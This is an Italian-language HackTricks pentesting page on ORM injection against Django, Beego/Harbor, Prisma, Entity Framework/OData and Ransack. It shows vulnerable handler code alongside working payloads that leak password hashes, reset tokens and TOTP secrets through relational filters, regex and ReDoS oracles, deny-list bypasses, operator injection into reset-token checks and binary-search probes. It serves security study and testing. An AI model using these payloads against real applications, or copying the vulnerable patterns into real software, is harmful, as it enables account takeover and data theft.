ORM Injection

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Django ORM (Python)

In this post viene spiegato come sia possibile rendere vulnerabile il Django ORM usando, per esempio, un codice come:

class ArticleView(APIView):
"""
Some basic API view that users send requests to for
searching for articles
"""
def post(self, request: Request, format=None):
try:
            articles = Article.objects.filter(**request.data)
            serializer = ArticleSerializer(articles, many=True)
except Exception as e:
return Response([])
return Response(serializer.data)

Nota come tutto il request.data (che sarà un json) venga passato direttamente a filter objects from the database. Un attacker potrebbe inviare filtri inaspettati per leak più dati del previsto.

Esempi:

  • Login: In un semplice Login prova a leak le password degli utenti registrati al suo interno.
{
"username": "admin",
"password_startswith": "a"
}

Caution

È possibile eseguire brute-force sulla password fino a quando non viene leaked.

  • Relational filtering: È possibile attraversare le relazioni per ottenere leak di informazioni da colonne che non ci si aspettava nemmeno fossero usate nell’operazione. Ad esempio, se è possibile ottenere leak degli articoli creati da un utente con queste relazioni: Article(created_by) -[1..1]-> Author (user) -[1..1]-> User(password).
{
"created_by__user__password__contains": "pass"
}

Caution

È possibile trovare la password di tutti gli utenti che hanno creato un articolo

  • Many-to-many relational filtering: Nell’esempio precedente non siamo riusciti a trovare le password degli utenti che non hanno creato un articolo. Tuttavia, seguendo altre relazioni questo è possibile. Per esempio: Article(created_by) -[1..1]-> Author(departments) -[0..*]-> Department(employees) -[0..*]-> Author(user) -[1..1]-> User(password).
{
"created_by__departments__employees__user_startswith": "admi"
}

Caution

In questo caso possiamo trovare tutti gli utenti nei dipartimenti degli utenti che hanno creato articoli e poi leak their passwords (nel json precedente stiamo solo leaking the usernames ma poi è possibile leak the passwords).

  • Abusing Django Group and Permission many-to-may relations with users: Inoltre, il modello AbstractUser viene utilizzato per generare utenti in Django e di default questo modello ha alcune many-to-many relationships con le tabelle Permission e Group. Il che sostanzialmente è un modo predefinito per accedere ad altri utenti da un utente se si trovano nello stesso Group o condividono la stessa Permission.
# By users in the same group
created_by__user__groups__user__password

# By users with the same permission
created_by__user__user_permissions__user__password
  • Bypass filter restrictions: Lo stesso blogpost propone di bypassare l’uso di alcuni filtri come articles = Article.objects.filter(is_secret=False, **request.data). È possibile dump articles che hanno is_secret=True perché possiamo risalire tramite una relazione alla tabella Article e leak secret articles a partire da articoli non secret: i risultati vengono uniti e il campo is_secret viene controllato nell’articolo non secret mentre i dati vengono leak dall’articolo secret.
Article.objects.filter(is_secret=False, categories__articles__id=2)

Caution

Abusing relationships è possibile bypassare anche i filters pensati per proteggere i dati mostrati.

  • Error/Time based via ReDoS: Nei precedenti esempi ci si aspettava di avere response diverse a seconda che il filtering funzionasse o no, per usarle come oracle. Ma potrebbe essere possibile che qualche azione venga eseguita nel database e la response sia sempre la stessa. In questo scenario potrebbe essere possibile causare un database error per ottenere un nuovo oracle.
// Non matching password
{
"created_by__user__password__regex": "^(?=^pbkdf1).*.*.*.*.*.*.*.*!!!!$"
}

// ReDoS matching password (will show some error in the response or check the time)
{"created_by__user__password__regex": "^(?=^pbkdf2).*.*.*.*.*.*.*.*!!!!$"}

Dallo stesso post relativo a questo vettore:

  • SQLite: Non ha un operatore regexp per impostazione predefinita (richiede il caricamento di un’estensione di terze parti)
  • PostgreSQL: Non ha un timeout regex predefinito ed è meno soggetto al backtracking
  • MariaDB: Non ha un timeout regex

Beego ORM (Go) & Harbor Filter Oracles

Beego rispecchia il DSL field__operator di Django, quindi qualsiasi handler che permette agli utenti di controllare il primo argomento di QuerySeter.Filter() espone l’intero grafo delle relazioni:

qs := o.QueryTable("articles")
qs = qs.Filter(filterExpression, filterValue) // attacker controls key + operator

Richieste come /search?filter=created_by__user__password__icontains=pbkdf can pivot through foreign keys exactly like the Django primitives above. L’helper q di Harbor parsed user input into Beego filters, quindi utenti con pochi privilegi potevano probe segreti osservando le risposte delle liste:

  • GET /api/v2.0/users?q=password=~$argon2id$ → rivela se qualche hash contiene $argon2id$.
  • GET /api/v2.0/users?q=salt=~abc → leaks salt substrings.

Contare le righe restituite, osservare i metadati di paginazione, o confrontare le lunghezze delle risposte fornisce un oracolo per effettuare brute-force su interi hash, salt e TOTP seeds.

Bypassare le patch di Harbor con parseExprs

Harbor ha cercato di proteggere i campi sensibili taggandoli con filter:"false" e validando solo il primo segmento dell’espressione:

k := strings.SplitN(key, orm.ExprSep, 2)[0]
if _, ok := meta.Filterable(k); !ok { continue }
qs = qs.Filter(key, value)

Beego’s internal parseExprs walks every __-delimited segment and, when the current segment is not a relation, it simply overwrites the target field with the next segment. Payloads such as email__password__startswith=foo therefore pass Harbor’s Filterable(email)=true check but execute as password__startswith=foo, bypassing deny-lists.

v2.13.1 limited keys to a single separator, but Harbor’s own fuzzy-match builder appends operators after validation: q=email__password=~abcFilter("email__password__icontains", "abc"). The ORM again interprets that as password__icontains. Beego apps that only inspect the first __ component or that append operators later in the request pipeline stay vulnerable to the same overwrite primitive and can still be abused as blind leak oracles.

Prisma ORM (NodeJS)

Di seguito sono riportati tricks extracted from this post.

  • Full find control:
const app = express();

app.use(express.json());

app.post('/articles/verybad', async (req, res) => {
try {
// Attacker has full control of all prisma options
        const posts = await prisma.article.findMany(req.body.filter)
        res.json(posts);
} catch (error) {
res.json([]);
}
});

È possibile vedere che l’intero body javascript viene passato a prisma per eseguire le query.

Nell’esempio del post originale, questo verificherebbe tutti i post creati da qualcuno (each post is created by someone) restituendo anche le informazioni utente di quella persona (username, password…)

{
"filter": {
"include": {
"createdBy": true
}
}
}

// Response
[
{
"id": 1,
"title": "Buy Our Essential Oils",
"body": "They are very healthy to drink",
"published": true,
"createdById": 1,
"createdBy": {
"email": "karen@example.com",
"id": 1,
"isAdmin": false,
"name": "karen",
"password": "super secret passphrase",
"resetToken": "2eed5e80da4b7491"
}
},
...
]

Il seguente esempio seleziona tutti i post creati da un utente con una password e restituirà la password:

{
"filter": {
"select": {
"createdBy": {
"select": {
"password": true
}
}
}
}
}

// Response
[
{
"createdBy": {
"password": "super secret passphrase"
}
},
...
]
  • Controllo completo della clausola where:

Vediamo questo esempio dove l’attaccante può controllare la clausola where:

app.get('/articles', async (req, res) => {
try {
const posts = await prisma.article.findMany({
            where: req.query.filter as any // Vulnerable to ORM Leaks
        })
res.json(posts);
} catch (error) {
res.json([]);
}
});

È possibile filtrare direttamente la password degli utenti così:

await prisma.article.findMany({
where: {
createdBy: {
password: {
startsWith: "pas",
},
},
},
})

Caution

Usando operazioni come startsWith è possibile leak informazioni.

  • Many-to-many relational filtering bypassing filtering:
app.post("/articles", async (req, res) => {
try {
const query = req.body.query
query.published = true
const posts = await prisma.article.findMany({ where: query })
res.json(posts)
} catch (error) {
res.json([])
}
})

È possibile causare un leak di articoli non pubblicati risalendo alle relazioni many-to-many tra Category -[*..*]-> Article:

{
"query": {
"categories": {
"some": {
"articles": {
"some": {
"published": false,
"{articleFieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}

È anche possibile leak tutti i users abusando di alcuni loop back many-to-many relationships:

{
"query": {
"createdBy": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"departments": {
"some": {
"employees": {
"some": {
"{fieldToLeak}": {
"startsWith": "{testStartsWith}"
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
}
  • Error/Timed queries: Nel post originale puoi leggere un insieme molto esteso di test eseguiti per trovare il payload ottimale per ottenere leak di informazioni con un time based payload. Questo è:
{
"OR": [
{
"NOT": {ORM_LEAK}
},
{CONTAINS_LIST}
]
}

Dove {CONTAINS_LIST} è una lista di 1000 stringhe per assicurarsi che la risposta venga ritardata quando viene trovato il leak corretto.

Confusione di tipo sui filtri where (operator injection)

L’API di query di Prisma accetta sia valori primitivi sia oggetti operatori. Quando gli handler presumono che il body della request contenga solo stringhe plain ma le passano direttamente a where, gli attackers possono infilare operatori nei flussi di autenticazione e bypassare i token checks.

const user = await prisma.user.findFirstOrThrow({
where: { resetToken: req.body.resetToken as string }
})

Vettori di coercizione comuni:

  • JSON body (default express.json()): {"resetToken":{"not":"E"},"password":"newpass"} ⇒ corrisponde a ogni utente il cui token non è E.
  • URL-encoded body con extended: true: resetToken[not]=E&password=newpass diventa lo stesso oggetto.
  • Query string in Express <5 o con parser estesi: /reset?resetToken[contains]=argon2 leaks substring matches.
  • cookie-parser JSON cookies: Cookie: resetToken=j:{"startsWith":"0x"} se i cookie vengono inoltrati a Prisma.

Perché Prisma valuta volentieri { resetToken: { not: ... } }, { contains: ... }, { startsWith: ... }, ecc., qualsiasi controllo di uguaglianza sui segreti (reset tokens, API keys, magic links) può essere ampliato in un predicato che ha successo senza conoscere il segreto. Combina questo con filtri relazionali (createdBy) per scegliere una vittima.

Cerca flussi dove:

  • Gli schemi delle request non vengono applicati, quindi gli oggetti annidati sopravvivono alla deserializzazione.
  • I parser estesi per body/query rimangono abilitati e accettano la sintassi con parentesi.
  • I handler inoltrano il JSON dell’utente direttamente a Prisma invece di mappare sui campi/operatori consentiti.

Entity Framework & OData Filter Leaks

Reflection-based text helpers leak secrets

Microsoft TextFilter helper abused for leaks ```csharp IQueryable TextFilter(IQueryable source, string term) { var stringProperties = typeof(T).GetProperties().Where(p => p.PropertyType == typeof(string)); if (!stringProperties.Any()) { return source; } var containsMethod = typeof(string).GetMethod("Contains", new[] { typeof(string) }); var prm = Expression.Parameter(typeof(T)); var body = stringProperties .Select(prop => Expression.Call(Expression.Property(prm, prop), containsMethod!, Expression.Constant(term))) .Aggregate(Expression.OrElse); return source.Where(Expression.Lambda>(body, prm)); } ```

I helper che enumerano ogni proprietà di tipo stringa e le racchiudono in .Contains(term) espongono efficacemente passwords, API tokens, salts e TOTP secrets a qualunque utente in grado di chiamare l’endpoint. Directus CVE-2025-64748 è un esempio reale in cui l’endpoint di ricerca directus_users includeva token e tfa_secret nei predicati LIKE generati, trasformando i conteggi dei risultati in un leak oracle.

OData oracoli di confronto

I controller ASP.NET OData spesso restituiscono IQueryable<T> e permettono $filter, anche quando funzioni come contains sono disabilitate. Finché l’EDM espone la proprietà, gli attaccanti possono comunque effettuare confronti su di essa:

GET /odata/Articles?$filter=CreatedBy/TfaSecret ge 'M'&$top=1
GET /odata/Articles?$filter=CreatedBy/TfaSecret lt 'M'&$top=1

La sola presenza o assenza di risultati (o dei metadati di paginazione) consente di effettuare una ricerca binaria su ogni carattere secondo la collation del database. Le proprietà di navigazione (CreatedBy/Token, CreatedBy/User/Password) permettono pivot relazionali simili a Django/Beego, quindi qualsiasi EDM che espone campi sensibili o salta deny-list per proprietà è un bersaglio facile.

Librerie e middleware che traducono stringhe utente in operatori ORM (ad es., Entity Framework dynamic LINQ helpers, Prisma/Sequelize wrappers) dovrebbero essere trattati come sink ad alto rischio a meno che non implementino allow-list rigorose per campi/operatori.

Ransack (Ruby)

Questi trucchi sono stati trovati in questo post.

Tip

Nota che Ransack 4.0.0.0 ora impone l’uso di una allow list esplicita per gli attributi e le associazioni ricercabili.

Esempio vulnerabile:

def index
@q = Post.ransack(params[:q])
@posts = @q.result(distinct: true)
end

Nota come la query verrà definita dai parametri inviati dall’attaccante. Era possibile, per esempio, brute-force il reset token con:

GET /posts?q[user_reset_password_token_start]=0
GET /posts?q[user_reset_password_token_start]=1
...

Attraverso brute-forcing e, potenzialmente, l’analisi delle relazioni è stato possibile leakare più dati da un database.

Strategie di leak sensibili alla collation

Le comparazioni di stringhe ereditano la collation del database, quindi i leak oracles devono essere progettati in base a come il backend ordina i caratteri:

  • Le collation predefinite di MariaDB/MySQL/SQLite/MSSQL sono spesso case-insensitive, quindi LIKE/= non possono distinguere a da A. Usa operatori case-sensitive (regex/GLOB/BINARY) quando la distinzione tra maiuscole/minuscole nel valore segreto è importante.
  • Prisma e Entity Framework rispecchiano l’ordinamento del database. Collations come MSSQL’s SQL_Latin1_General_CP1_CI_AS pongono la punteggiatura prima delle cifre e delle lettere, quindi le sonde di ricerca binaria devono seguire quell’ordinamento anziché l’ordine raw dei byte ASCII.
  • Il LIKE di SQLite è case-insensitive a meno che non venga registrata una collation custom, quindi i leak in Django/Beego potrebbero richiedere predicati __regex per recuperare token case-sensitive.

Calibrare i payloads sulla collation effettiva evita sonde inutili e accelera significativamente gli attacchi automatizzati basati su substring/ricerca binaria.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks